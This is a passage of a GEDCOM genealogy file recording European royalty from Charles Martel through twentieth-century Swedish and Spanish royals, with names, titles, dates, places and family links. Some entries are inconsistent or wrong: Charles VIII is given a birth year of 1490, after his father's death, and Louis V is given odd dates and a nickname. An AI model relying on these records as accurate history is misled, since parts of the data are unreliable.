+2 PLAC Lyons,France
+1 DEAT
+2 DATE  3 JAN 1322
+2 PLAC Longchamp,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1175@
+1 FAMC @F794@
+0 @I2466@ INDI
+1 NAME John_I  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 15 NOV 1316
+2 PLAC Paris,France
+1 DEAT
+2 DATE 20 NOV 1316
+2 PLAC Paris,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMC @F1157@
+0 @I2467@ INDI
+1 NAME William_I  //
+1 TITL King of Sicily
+1 SEX M
+1 BIRT
+2 DATE        1120
+1 DEAT
+2 DATE        1166
+1 FAMS @F1166@
+1 FAMC @F1167@
+0 @I2468@ INDI
+1 NAME Roger_II  //
+1 SEX M
+1 FAMS @F1167@
+0 @I2469@ INDI
+1 NAME Philip  //
+1 SEX M
+1 FAMC @F1158@
+0 @I2470@ INDI
+1 NAME Robert  //
+1 TITL Count of Dreux
+1 SEX M
+1 FAMC @F1158@
+0 @I2471@ INDI
+1 NAME Pierre de_Courtenay //
+1 SEX M
+1 FAMC @F1158@
+0 @I2472@ INDI
+1 NAME Henry of_Beauvais //
+1 TITL Bishop of Rouen
+1 SEX M
+1 FAMC @F1158@
+0 @I2473@ INDI
+1 NAME Philip  //
+1 TITL Bishop of Paris
+1 SEX M
+1 FAMC @F1158@
+0 @I2474@ INDI
+1 NAME Constance of_Toulouse //
+1 TITL Constance
+1 SEX F
+1 FAMC @F1158@
+0 @I2475@ INDI
+1 NAME Constance of_Castile //
+1 SEX F
+1 DEAT
+2 DATE        1160
+1 FAMS @F1168@
+0 @I2476@ INDI
+1 NAME Adele of_Champagne //
+1 SEX F
+1 DEAT
+2 DATE        1206
+1 FAMS @F1169@
+0 @I2477@ INDI
+1 NAME Isabella of_Hainault //
+1 SEX F
+1 DEAT
+2 DATE        1190
+1 FAMS @F1156@
+0 @I2478@ INDI
+1 NAME Ingeborg  //
+1 SEX F
+1 BIRT
+2 DATE        1175
+1 DEAT
+2 DATE        1236
+1 FAMS @F1170@
+0 @I2479@ INDI
+1 NAME Agnes of_Meranie //
+1 TITL Princess
+1 SEX F
+1 DEAT
+2 DATE        1201
+1 FAMS @F1171@
+0 @I2480@ INDI
+1 NAME Philip  /Hurepel/
+1 SEX M
+1 FAMC @F1171@
+0 @I2481@ INDI
+1 NAME Alphonse  //
+1 SEX M
+1 DEAT
+2 DATE        1271
+1 FAMC @F690@
+0 @I2482@ INDI
+1 NAME Margaret of_Provence //
+1 SEX F
+1 BIRT
+2 DATE        1221
+1 DEAT
+2 DATE        1295
+1 FAMS @F689@
+1 FAMC @F1172@
+0 @I2483@ INDI
+1 NAME Raymond of_Provence /Berenger/
+1 TITL Count IV
+1 SEX M
+1 FAMS @F1172@
+0 @I2484@ INDI
+1 NAME Charles of_Anjou //
+1 SEX M
+1 FAMC @F690@
+0 @I2485@ INDI
+1 NAME Mary of_Brabant //
+1 SEX F
+1 DEAT
+2 DATE        1321
+1 FAMS @F688@
+0 @I2486@ INDI
+1 NAME Joan of_Navarre //
+1 SEX F
+1 BIRT
+2 DATE        1271
+1 DEAT
+2 DATE        1305
+1 FAMS @F794@
+0 @I2487@ INDI
+1 NAME Clemence of_Hungary //
+1 SEX F
+1 BIRT
+2 DATE ABT    1293
+1 DEAT
+2 DATE        1328
+1 FAMS @F1157@
+1 FAMC @F1173@
+0 @I2488@ INDI
+1 NAME Charles_I  //
+1 TITL King of Hungary
+1 SEX M
+1 BIRT
+2 DATE        1288
+1 DEAT
+2 DATE        1342
+1 FAMS @F1173@
+1 FAMC @F1174@
+0 @I2489@ INDI
+1 NAME Charles_II  //
+1 TITL King of Naples
+1 SEX M
+1 FAMS @F1174@
+0 @I2490@ INDI
+1 NAME Joan of_Burgundy //
+1 SEX F
+1 BIRT
+2 DATE ABT    1293
+1 DEAT
+2 DATE        1329
+1 FAMS @F1175@
+0 @I2491@ INDI
+1 NAME Blanche of_Burgundy //
+1 SEX F
+1 BIRT
+2 DATE ABT    1296
+1 DEAT
+2 DATE        1326
+1 FAMS @F1176@
+0 @I2492@ INDI
+1 NAME Marie of_Luxemburg //
+1 SEX F
+1 BIRT
+2 DATE        1305
+1 DEAT
+2 DATE ABT    1323
+1 FAMS @F1177@
+0 @I2493@ INDI
+1 NAME Joan of_Evreux //
+1 SEX F
+1 DEAT
+2 DATE        1371
+1 FAMS @F1178@
+0 @I2494@ INDI
+1 NAME Philip_VI of_Valois //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE        1293
+1 DEAT
+2 DATE 22 AUG 1350
+2 PLAC Nogent-le-Roi,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1180@
+1 FAMS @F1181@
+1 FAMC @F1179@
+0 @I2495@ INDI
+1 NAME Charles de_Valois //
+1 SEX M
+1 BIRT
+2 DATE        1270
+2 PLAC Fontainebleau,France
+1 DEAT
+2 DATE        1325
+1 FAMS @F1179@
+0 @I2496@ INDI
+1 NAME Joan of_Burgundy //
+1 TITL Queen
+1 SEX F
+1 DEAT
+2 DATE ABT    1349
+1 FAMS @F1180@
+0 @I2497@ INDI
+1 NAME Blanche of_Navarre //
+1 SEX F
+1 DEAT
+2 DATE        1398
+1 FAMS @F1181@
+0 @I2498@ INDI
+1 NAME John_II the_Good //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 26 APR 1319
+2 PLAC Le Mans,France
+1 DEAT
+2 DATE  8 APR 1364
+2 PLAC London,England
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1192@
+1 FAMS @F1233@
+1 FAMC @F1180@
+0 @I2499@ INDI
+1 NAME Charles_V the_Wise //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 21 JAN 1337
+2 PLAC Vincennes,France
+1 DEAT
+2 DATE 16 SEP 1380
+2 PLAC Vincennes,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1182@
+1 FAMC @F1192@
+0 @I2500@ INDI
+1 NAME Joan of_Bourbon //
+1 TITL Queen
+1 SEX F
+1 BIRT
+2 DATE        1338
+1 DEAT
+2 DATE  4 FEB 1378
+1 FAMS @F1182@
+0 @I2501@ INDI
+1 NAME Louis of_Beaumont //
+1 TITL Count of Valois
+1 SEX M
+1 DEAT
+2 DATE        1407
+1 FAMC @F1182@
+0 @I2502@ INDI
+1 NAME Catherine  //
+1 TITL Princess
+1 SEX F
+1 FAMC @F1182@
+0 @I2503@ INDI
+1 NAME Isabelle  //
+1 SEX F
+1 BIRT
+2 DATE    FEB 1378
+1 DEAT
+2 DATE    FEB 1378
+1 FAMC @F1182@
+0 @I2504@ INDI
+1 NAME Stanislaw  /Leczinski/
+1 TITL King of Poland
+1 SEX M
+1 FAMS @F1183@
+0 @I2505@ INDI
+1 NAME Margaret of_Valois //
+1 SEX F
+1 BIRT
+2 DATE        1553
+1 DEAT
+2 DATE        1615
+1 FAMS @F1184@
+0 @I2506@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 FAMC @F1185@
+0 @I2507@ INDI
+1 NAME Charles  //
+1 TITL Duke of Berry
+1 SEX M
+1 BIRT
+2 DATE        1686
+1 DEAT
+2 DATE        1714
+1 FAMS @F1375@
+1 FAMC @F1143@
+0 @I2508@ INDI
+1 NAME Clotilde of_Savoy //
+1 SEX F
+1 DEAT
+2 DATE        1805
+1 FAMS @F1186@
+0 @I2509@ INDI
+1 NAME  of_Angouleme //
+1 TITL Duke
+1 BIRT
+2 DATE        1775
+1 FAMC @F1186@
+0 @I2510@ INDI
+1 NAME  of_Berry //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1778
+1 FAMC @F1186@
+0 @I2511@ INDI
+1 NAME Louis_Philippe_I  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE        1773
+2 PLAC Palace Royal,France,France
+1 DEAT
+2 DATE        1850
+1 FAMS @F1187@
+1 FAMC @F1188@
+0 @I2512@ INDI
+1 NAME Desideria  //
+1 SEX F
+1 FAMS @F664@
+0 @I2513@ INDI
+1 NAME Louis-Philippe Joseph //
+1 SEX M
+1 DEAT
+2 DATE        1793
+1 FAMS @F1188@
+1 FAMC @F1189@
+0 @I2514@ INDI
+1 NAME Louise Adelaide de_Penthievre//
+1 TITL Princess
+1 SEX F
+1 FAMS @F1188@
+0 @I2515@ INDI
+1 NAME Louis-Philippe  //
+1 SEX M
+1 DEAT
+2 DATE        1785
+1 FAMS @F1189@
+1 FAMC @F1190@
+0 @I2516@ INDI
+1 NAME Louis of_Orleans //
+1 SEX M
+1 DEAT
+2 DATE        1752
+1 FAMS @F1190@
+1 FAMC @F1191@
+0 @I2517@ INDI
+1 NAME Philippe Duc_de_Chartes //
+1 TITL Regent
+1 SEX M
+1 BIRT
+2 DATE        1674
+1 DEAT
+2 DATE        1723
+1 FAMS @F1191@
+1 FAMC @F1373@
+0 @I2518@ INDI
+1 NAME Philip the_Bold //
+1 SEX M
+1 DEAT
+2 DATE        1404
+1 FAMC @F1192@
+0 @I2519@ INDI
+1 NAME Bonne of_Luxemburg //
+1 SEX F
+1 DEAT
+2 DATE        1349
+1 FAMS @F1192@
+0 @I2520@ INDI
+1 NAME Joan of_Valois //
+1 SEX F
+1 FAMS @F1193@
+1 FAMC @F1179@
+0 @I2521@ INDI
+1 NAME Robert of_Artois //
+1 TITL Duke of Richmond
+1 SEX M
+1 FAMS @F1193@
+0 @I2522@ INDI
+1 NAME Charles_IX  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 27 JUN 1550
+2 PLAC St. Germain-,en-Laye,France
+1 DEAT
+2 DATE 30 MAY 1574
+2 PLAC Vincennes,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1229@
+1 FAMC @F1148@
+0 @I2523@ INDI
+1 NAME Henry_III  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 19 SEP 1551
+2 PLAC Fontainebleau,France
+1 DEAT
+2 DATE  2 AUG 1589
+2 PLAC Paris,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1230@
+1 FAMC @F1148@
+0 @I2524@ INDI
+1 NAME Charles of_Valois //
+1 TITL Count Angouleme
+1 SEX M
+1 FAMS @F729@
+1 FAMC @F1194@
+0 @I2525@ INDI
+1 NAME John of_Valois //
+1 TITL Count Angouleme
+1 SEX M
+1 FAMS @F1194@
+0 @I2526@ INDI
+1 NAME Margaretha of_Sweden //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 31 OCT 1934
+1 FAMS @F1285@
+1 FAMC @F217@
+0 @I2527@ INDI
+1 NAME Birgitta of_Sweden //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 19 JAN 1937
+1 FAMS @F1286@
+1 FAMC @F217@
+0 @I2528@ INDI
+1 NAME Desiree of_Sweden //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE  2 JUN 1938
+1 FAMS @F1287@
+1 FAMC @F217@
+0 @I2529@ INDI
+1 NAME Christina Louise Helen//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE  3 AUG 1943
+1 FAMS @F1288@
+1 FAMC @F217@
+0 @I2530@ INDI
+1 NAME Peter_I  //
+1 TITL King of Serbia
+1 SEX M
+1 DEAT
+2 DATE        1921
+1 FAMS @F1195@
+0 @I2531@ INDI
+1 NAME Zorka of_Montenegro //
+1 TITL Princess
+1 SEX F
+1 DEAT
+2 DATE ABT    1889
+1 FAMS @F1195@
+0 @I2532@ INDI
+1 NAME George  /Karageorgeovitch/
+1 SEX M
+1 FAMC @F1195@
+0 @I2533@ INDI
+1 NAME Robert  //
+1 SEX M
+1 FAMC @F1162@
+0 @I2534@ INDI
+1 NAME Hugh the_Great of_Vermandois//
+1 TITL Count
+1 SEX M
+1 FAMC @F1196@
+0 @I2535@ INDI
+1 NAME Anne of_Kiev //
+1 SEX F
+1 BIRT
+2 DATE ABT    1024
+1 DEAT
+2 DATE ABT    1066
+1 FAMS @F1161@
+0 @I2536@ INDI
+1 NAME Matilda of_Germany //
+1 SEX F
+1 DEAT
+2 DATE BEF    1044
+1 FAMS @F1196@
+0 @I2537@ INDI
+1 NAME Charles_VII  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 22 FEB 1403
+2 PLAC Paris,France
+1 DEAT
+2 DATE 21 JUL 1461
+2 PLAC Bourges,France
+1 BURI
+2 DATE  9 AUG 1461
+2 PLAC St. Denis,France
+1 FAMS @F1197@
+1 FAMC @F915@
+0 @I2538@ INDI
+1 NAME Mary of_Anjou //
+1 SEX F
+1 BIRT
+2 DATE        1404
+1 DEAT
+2 DATE        1463
+1 FAMS @F1197@
+1 FAMC @F1198@
+0 @I2539@ INDI
+1 NAME Yolande of_Aragon //
+1 SEX F
+1 FAMS @F1198@
+0 @I2540@ INDI
+1 NAME Louis_XI  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE  3 JUL 1423
+2 PLAC Bourges,France
+1 DEAT
+2 DATE 30 AUG 1483
+1 BURI
+2 PLAC Notre Dame,de Clery,France
+1 FAMS @F1199@
+1 FAMS @F1200@
+1 FAMC @F1197@
+0 @I2541@ INDI
+1 NAME Margaret of_Scotland //
+1 SEX F
+1 BIRT
+2 DATE ABT    1418
+1 DEAT
+2 DATE        1445
+1 FAMS @F1199@
+0 @I2542@ INDI
+1 NAME Charlotte of_Savoy //
+1 SEX F
+1 BIRT
+2 DATE ABT    1445
+1 DEAT
+2 DATE        1483
+1 FAMS @F1200@
+0 @I2543@ INDI
+1 NAME Charles_VIII  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 30 JUN 1490
+1 DEAT
+2 DATE  7 APR 1498
+2 PLAC Amboise
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F343@
+1 FAMC @F1200@
+0 @I2544@ INDI
+1 NAME Anne  //
+1 SEX F
+1 BIRT
+2 DATE        1461
+1 DEAT
+2 DATE        1522
+1 FAMC @F1200@
+0 @I2545@ INDI
+1 NAME Anne of_Brittany //
+1 SEX F
+1 BIRT
+2 DATE        1477
+1 DEAT
+2 DATE        1514
+1 FAMS @F343@
+0 @I2546@ INDI
+1 NAME Anne of_Cleves //
+1 SEX F
+1 FAMS @F462@
+0 @I2547@ INDI
+1 NAME Joan of_Valois //
+1 SEX F
+1 BIRT
+2 DATE        1464
+1 DEAT
+2 DATE        1505
+1 FAMS @F1151@
+0 @I2548@ INDI
+1 NAME Anne of_Brittany //
+1 SEX F
+1 BIRT
+2 DATE        1476
+1 DEAT
+2 DATE  9 JAN 1514
+1 FAMS @F1201@
+0 @I2549@ INDI
+1 NAME Catherine of_Brandenburg -Kustrin//
+1 SEX F
+1 FAMS @F1054@
+0 @I2550@ INDI
+1 NAME Hildegard  //
+1 SEX F
+1 BIRT
+2 DATE ABT     757
+1 DEAT
+2 DATE         783
+1 FAMS @F1202@
+0 @I2551@ INDI
+1 NAME Charles  //
+1 SEX M
+1 DEAT
+2 DATE         811
+1 FAMC @F1202@
+0 @I2552@ INDI
+1 NAME Pepin  //
+1 TITL King of Italy
+1 SEX M
+1 BIRT
+2 DATE         777
+1 DEAT
+2 DATE         810
+1 FAMS @F1205@
+1 FAMC @F1202@
+0 @I2553@ INDI
+1 NAME Louis_I the_Pious of_Aquitaine//
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE         778
+1 DEAT
+2 DATE         840
+1 FAMS @F1206@
+1 FAMS @F1207@
+1 FAMC @F1202@
+0 @I2554@ INDI
+1 NAME Berthe  //
+1 SEX F
+1 FAMC @F1202@
+0 @I2555@ INDI
+1 NAME Fastrada  //
+1 SEX F
+1 DEAT
+2 DATE         794
+1 FAMS @F1203@
+0 @I2556@ INDI
+1 NAME Luitgard  //
+1 SEX F
+1 DEAT
+2 DATE         800
+1 FAMS @F1204@
+0 @I2557@ INDI
+1 NAME Bertha of_Toulouse //
+1 SEX F
+1 FAMS @F1205@
+0 @I2558@ INDI
+1 NAME Irmengard of_Hesbain //
+1 SEX F
+1 FAMS @F1206@
+0 @I2559@ INDI
+1 NAME Judith of_Bavaria //
+1 SEX F
+1 FAMS @F1207@
+0 @I2560@ INDI
+1 NAME Lothar_I  //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE         795
+1 DEAT
+2 DATE         855
+1 FAMS @F1208@
+1 FAMC @F1206@
+0 @I2561@ INDI
+1 NAME Pepin_I of_Aquitaine //
+1 TITL King
+1 SEX M
+1 DEAT
+2 DATE         838
+1 FAMS @F1209@
+1 FAMC @F1206@
+0 @I2562@ INDI
+1 NAME Adelaide  //
+1 SEX F
+1 FAMC @F1206@
+0 @I2563@ INDI
+1 NAME Louis_II the_German //
+1 TITL King East Franks
+1 SEX M
+1 BIRT
+2 DATE ABT     805
+1 DEAT
+2 DATE         876
+1 FAMS @F1210@
+1 FAMC @F1206@
+0 @I2564@ INDI
+1 NAME Charles_II the_Bald //
+1 TITL King West Franks
+1 SEX M
+1 BIRT
+2 DATE         823
+1 DEAT
+2 DATE  6 OCT  877
+2 PLAC Modano
+1 FAMS @F1211@
+1 FAMC @F1207@
+0 @I2565@ INDI
+1 NAME Bernard  //
+1 TITL King of Italy
+1 SEX M
+1 BIRT
+2 DATE ABT     799
+1 DEAT
+2 DATE         818
+1 FAMC @F1205@
+0 @I2566@ INDI
+1 NAME Irmengard  //
+1 SEX F
+1 FAMS @F1208@
+0 @I2567@ INDI
+1 NAME Louis_II le_Jeune //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE ABT     822
+1 DEAT
+2 DATE         875
+1 FAMS @F1215@
+1 FAMC @F1208@
+0 @I2568@ INDI
+1 NAME Lothar_II of_Lorraine //
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE ABT     826
+1 DEAT
+2 DATE         868
+1 FAMS @F1217@
+1 FAMS @F1218@
+1 FAMC @F1208@
+0 @I2569@ INDI
+1 NAME Charles  //
+1 TITL King of Provence
+1 SEX M
+1 DEAT
+2 DATE         863
+1 FAMC @F1208@
+0 @I2570@ INDI
+1 NAME Pepin_II of_Aquitaine //
+1 TITL King
+1 SEX M
+1 DEAT
+2 DATE         870
+1 FAMC @F1209@
+0 @I2571@ INDI
+1 NAME Emma of_Bavaria //
+1 SEX F
+1 DEAT
+2 DATE         876
+1 FAMS @F1210@
+0 @I2572@ INDI
+1 NAME Carloman  //
+1 TITL King of Bavaria
+1 SEX M
+1 BIRT
+2 DATE ABT     828
+1 DEAT
+2 DATE         880
+1 FAMS @F1219@
+1 FAMC @F1210@
+0 @I2573@ INDI
+1 NAME Louis the_Young //
+1 TITL King East Franks
+1 SEX M
+1 DEAT
+2 DATE         882
+1 FAMC @F1210@
+0 @I2574@ INDI
+1 NAME Charles_III the_Fat //
+1 TITL King West Franks
+1 SEX M
+1 BIRT
+2 DATE         839
+1 DEAT
+2 DATE         887
+1 FAMC @F1210@
+0 @I2575@ INDI
+1 NAME Ermentrude  //
+1 SEX F
+1 DEAT
+2 DATE         869
+1 FAMS @F1211@
+0 @I2576@ INDI
+1 NAME Louis_II the_Stammerer //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE         846
+1 DEAT
+2 DATE         879
+1 FAMS @F1212@
+1 FAMS @F1213@
+1 FAMC @F1211@
+0 @I2577@ INDI
+1 NAME Charles of_Aquitaine //
+1 TITL King
+1 SEX M
+1 DEAT
+2 DATE         866
+1 FAMC @F1211@
+0 @I2578@ INDI
+1 NAME Carloman  //
+1 SEX M
+1 DEAT
+2 DATE         876
+1 FAMC @F1211@
+0 @I2579@ INDI
+1 NAME Judith  //
+1 SEX F
+1 FAMC @F1211@
+0 @I2580@ INDI
+1 NAME Ansgarde of_Burgundy //
+1 SEX F
+1 FAMS @F1212@
+0 @I2581@ INDI
+1 NAME Louis_III  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE ABT     863
+1 DEAT
+2 DATE         882
+1 FAMC @F1212@
+0 @I2582@ INDI
+1 NAME Carloman  //
+1 TITL King of France
+1 SEX M
+1 DEAT
+2 DATE         884
+1 FAMC @F1212@
+0 @I2583@ INDI
+1 NAME Adelaide Judith //
+1 SEX F
+1 FAMS @F1213@
+0 @I2584@ INDI
+1 NAME Charles_III the_Simple //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE         879
+1 DEAT
+2 DATE         929
+1 FAMS @F1214@
+1 FAMC @F1213@
+0 @I2585@ INDI
+1 NAME Eadgifu of_England //
+1 SEX F
+1 BIRT
+2 DATE         902
+1 FAMS @F1214@
+0 @I2586@ INDI
+1 NAME Engeberge  //
+1 SEX F
+1 FAMS @F1215@
+0 @I2587@ INDI
+1 NAME Irmengard  //
+1 SEX F
+1 FAMS @F1216@
+1 FAMC @F1215@
+0 @I2588@ INDI
+1 NAME Boso  //
+1 TITL King of Provence
+1 SEX M
+1 DEAT
+2 DATE         887
+1 FAMS @F1216@
+0 @I2589@ INDI
+1 NAME Louis_III the_Blind //
+1 TITL Holy Roman Emper
+1 SEX M
+1 BIRT
+2 DATE ABT     880
+1 DEAT
+2 DATE         928
+1 FAMC @F1216@
+0 @I2590@ INDI
+1 NAME Theutberga of_Valois //
+1 SEX F
+1 FAMS @F1217@
+0 @I2591@ INDI
+1 NAME Waldrada  //
+1 SEX F
+1 FAMS @F1218@
+0 @I2592@ INDI
+1 NAME Litwinde  //
+1 SEX F
+1 FAMS @F1219@
+0 @I2593@ INDI
+1 NAME Arnulf  //
+1 TITL King of Germany
+1 SEX M
+1 BIRT
+2 DATE ABT     863
+1 DEAT
+2 DATE         899
+1 FAMS @F1220@
+1 FAMC @F1219@
+0 @I2594@ INDI
+1 NAME Oda of_Bavaria //
+1 SEX F
+1 FAMS @F1220@
+0 @I2595@ INDI
+1 NAME Louis_III the_Child //
+1 TITL King of Germany
+1 SEX M
+1 BIRT
+2 DATE         893
+1 DEAT
+2 DATE         911
+1 FAMC @F1220@
+0 @I2596@ INDI
+1 NAME Zwentibold  //
+1 TITL King of Lorraine
+1 SEX M
+1 DEAT
+2 DATE         900
+1 FAMC @F1220@
+0 @I2597@ INDI
+1 NAME Hedwige  //
+1 SEX F
+1 FAMS @F1221@
+1 FAMC @F1220@
+0 @I2598@ INDI
+1 NAME Otto of_Saxony //
+1 SEX M
+1 FAMS @F1221@
+0 @I2599@ INDI
+1 NAME Henry the_Fowler //
+1 TITL Emperor
+1 SEX M
+1 FAMS @F1222@
+1 FAMC @F1221@
+0 @I2600@ INDI
+1 NAME Matilda of_Ringelheim //
+1 SEX F
+1 FAMS @F1222@
+0 @I2601@ INDI
+1 NAME Bruno of_Cologne //
+1 TITL Archbishop
+1 SEX M
+1 FAMC @F1222@
+0 @I2602@ INDI
+1 NAME Otto_I  //
+1 TITL Emperor
+1 SEX M
+1 FAMC @F1222@
+0 @I2603@ INDI
+1 NAME Gerberge  //
+1 SEX F
+1 DEAT
+2 DATE         968
+1 FAMS @F1223@
+1 FAMC @F1222@
+0 @I2604@ INDI
+1 NAME Louis_IV d'Outre-Mer //
+1 SEX M
+1 BIRT
+2 DATE ABT     920
+1 DEAT
+2 DATE         954
+1 FAMS @F1223@
+1 FAMC @F1214@
+0 @I2605@ INDI
+1 NAME Lothar  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE         941
+1 DEAT
+2 DATE         986
+1 FAMS @F1224@
+1 FAMC @F1223@
+0 @I2606@ INDI
+1 NAME Charles Lower_Lorraine //
+1 SEX M
+1 BIRT
+2 DATE         954
+1 DEAT
+2 DATE         986
+1 FAMC @F1223@
+0 @I2607@ INDI
+1 NAME Louis_V the_Coward //
+1 SEX M
+1 BIRT
+2 DATE ABT     986
+1 DEAT
+2 DATE         997
+1 FAMC @F1224@
+0 @I2608@ INDI
+1 NAME Adalberon of_Rheims //
+1 TITL Archbishop
+1 SEX M
+1 DEAT
+2 DATE        1021
+1 FAMC @F1224@
+0 @I2609@ INDI
+1 NAME Pepin the_Short //
+1 TITL King of Franks
+1 SEX M
+1 BIRT
+2 DATE         714
+1 DEAT
+2 DATE         768
+1 FAMS @F1225@
+1 FAMC @F1227@
+0 @I2610@ INDI
+1 NAME Bertha  //
+1 SEX F
+1 DEAT
+2 DATE         783
+1 FAMS @F1225@
+0 @I2611@ INDI
+1 NAME Carloman  //
+1 TITL King of Franks
+1 SEX M
+1 BIRT
+2 DATE ABT     751
+1 DEAT
+2 DATE         771
+1 FAMS @F1226@
+1 FAMC @F1225@
+0 @I2612@ INDI
+1 NAME Gerberge of_the_Lombard //
+1 SEX F
+1 FAMS @F1226@
+0 @I2613@ INDI
+1 NAME Charles  /Martel/
+1 SEX M
+1 BIRT
+2 DATE ABT     686
+1 DEAT
+2 DATE         741
+1 FAMS @F1227@
+0 @I2614@ INDI
+1 NAME Augusta Reuss-Ebersdorf //
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1757
+1 DEAT
+2 DATE        1831
+1 FAMS @F1147@
+1 FAMC @F1228@
+0 @I2615@ INDI
+1 NAME Elisabeth of_Austria //
+1 SEX F
+1 BIRT
+2 DATE        1554
+1 DEAT
+2 DATE        1592
+1 FAMS @F1229@
+0 @I2616@ INDI
+1 NAME Marie Elisabeth //
+1 SEX F
+1 BIRT
+2 DATE 27 OCT 1572
+1 DEAT
+2 DATE  2 APR 1578
+1 FAMC @F1229@
+0 @I2617@ INDI
+1 NAME Louise of_Lorraine //
+1 SEX F
+1 BIRT
+2 DATE        1553
+1 DEAT
+2 DATE        1601
+1 FAMS @F1230@
+0 @I2618@ INDI
+1 NAME Isabelle of_Aragon //
+1 SEX F
+1 BIRT
+2 DATE        1247
+1 DEAT
+2 DATE        1271
+1 FAMS @F1231@
+0 @I2619@ INDI
+1 NAME Marguerite of_Burgundy //
+1 SEX F
+1 BIRT
+2 DATE        1290
+1 DEAT
+2 DATE        1315
+1 FAMS @F1232@
+0 @I2620@ INDI
+1 NAME Joan of_Boulogne //
+1 SEX F
+1 BIRT
+2 DATE ABT    1326
+1 DEAT
+2 DATE        1361
+1 FAMS @F1233@
+0 @I2621@ INDI
+1 NAME Magdalen of_Hochstadten //
+1 TITL Baroness
+1 SEX F
+1 BIRT
+2 DATE        1846
+1 DEAT
+2 DATE        1917
+1 FAMS @F1234@
+0 @I2622@ INDI
+1 NAME William of_Prussia //
+1 TITL Prince
+1 SEX M
+1 FAMS @F1235@
+0 @I2623@ INDI
+1 NAME John  /Loisinger/
+1 SEX M
+1 FAMS @F1236@
+0 @I2624@ INDI
+1 NAME Francis_II Frederick of_Mecklenburg//
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1823
+1 DEAT
+2 DATE        1883
+1 FAMS @F1237@
+0 @I2625@ INDI
+1 NAME Josephine of_Lichtenberg //
+1 TITL Baroness
+1 SEX F
+1 BIRT
+2 DATE        1857
+1 DEAT
+2 DATE        1952
+1 FAMS @F1238@
+1 FAMC @F1239@
+0 @I2626@ INDI
+1 NAME Philip  /Bender/
+1 SEX M
+1 FAMS @F1239@
+0 @I2627@ INDI
+1 NAME Caroline of_Nidda //
+1 TITL Baroness
+1 SEX F
+1 BIRT
+2 DATE        1848
+1 DEAT
+2 DATE        1879
+1 FAMS @F1240@
+0 @I2628@ INDI
+1 NAME Emily of_Dornberg //
+1 TITL Baroness
+1 SEX F
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1961
+1 FAMS @F1241@
+0 @I2629@ INDI
+1 NAME Louis  //
+1 SEX M
+1 BIRT
+2 DATE        1931
+1 DEAT
+2 DATE        1937
+1 FAMC @F158@
+0 @I2630@ INDI
+1 NAME Alexander  //
+1 SEX M
+1 BIRT
+2 DATE        1933
+1 DEAT
+2 DATE        1937
+1 FAMC @F158@
+0 @I2631@ INDI
+1 NAME Joanna  //
+1 SEX F
+1 BIRT
+2 DATE        1936
+1 DEAT
+2 DATE        1939
+1 FAMC @F158@
+0 @I2632@ INDI
+1 NAME Auckland L. of_Rolvenden/Geddes/
+1 SEX M
+1 FAMS @F1242@
+0 @I2633@ INDI
+1 NAME Maria de_las_Mercedes //
+1 SEX F
+1 BIRT
+2 DATE        1860
+1 DEAT
+2 DATE        1878
+1 FAMS @F1243@
+0 @I2634@ INDI
+1 NAME Maria de_las_Mercedes //
+1 SEX F
+1 BIRT
+2 DATE        1880
+1 DEAT
+2 DATE        1904
+1 FAMS @F1244@
+1 FAMC @F254@
+0 @I2635@ INDI
+1 NAME Maria Theresa //
+1 SEX F
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1912
+1 FAMS @F1254@
+1 FAMC @F254@
+0 @I2636@ INDI
+1 NAME Charles of_Bourbon -Sicily//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1949
+1 FAMS @F1244@
+1 FAMS @F1245@
+0 @I2637@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1952
+1 FAMS @F1245@
+0 @I2638@ INDI
+1 NAME Louis de_la_Torre /Gomez-Acebo/
+1 TITL Viscount
+1 SEX M
+1 BIRT
+2 DATE        1934
+1 FAMS @F1246@
+0 @I2639@ INDI
+1 NAME Carlos Zurita_y_Delgado //
+1 SEX M
+1 BIRT
+2 DATE        1943
+1 FAMS @F1247@
+0 @I2640@ INDI
+1 NAME Edelmira  //
+1 SEX F
+1 BIRT
+2 DATE        1906
+1 FAMS @F1248@
+0 @I2641@ INDI
+1 NAME Martha y_Altazurra /Rocafort/
+1 SEX F
+1 FAMS @F1249@
+0 @I2642@ INDI
+1 NAME Maria Christina //
+1 SEX F
+1 BIRT
+2 DATE        1911
+1 FAMS @F1250@
+1 FAMC @F143@
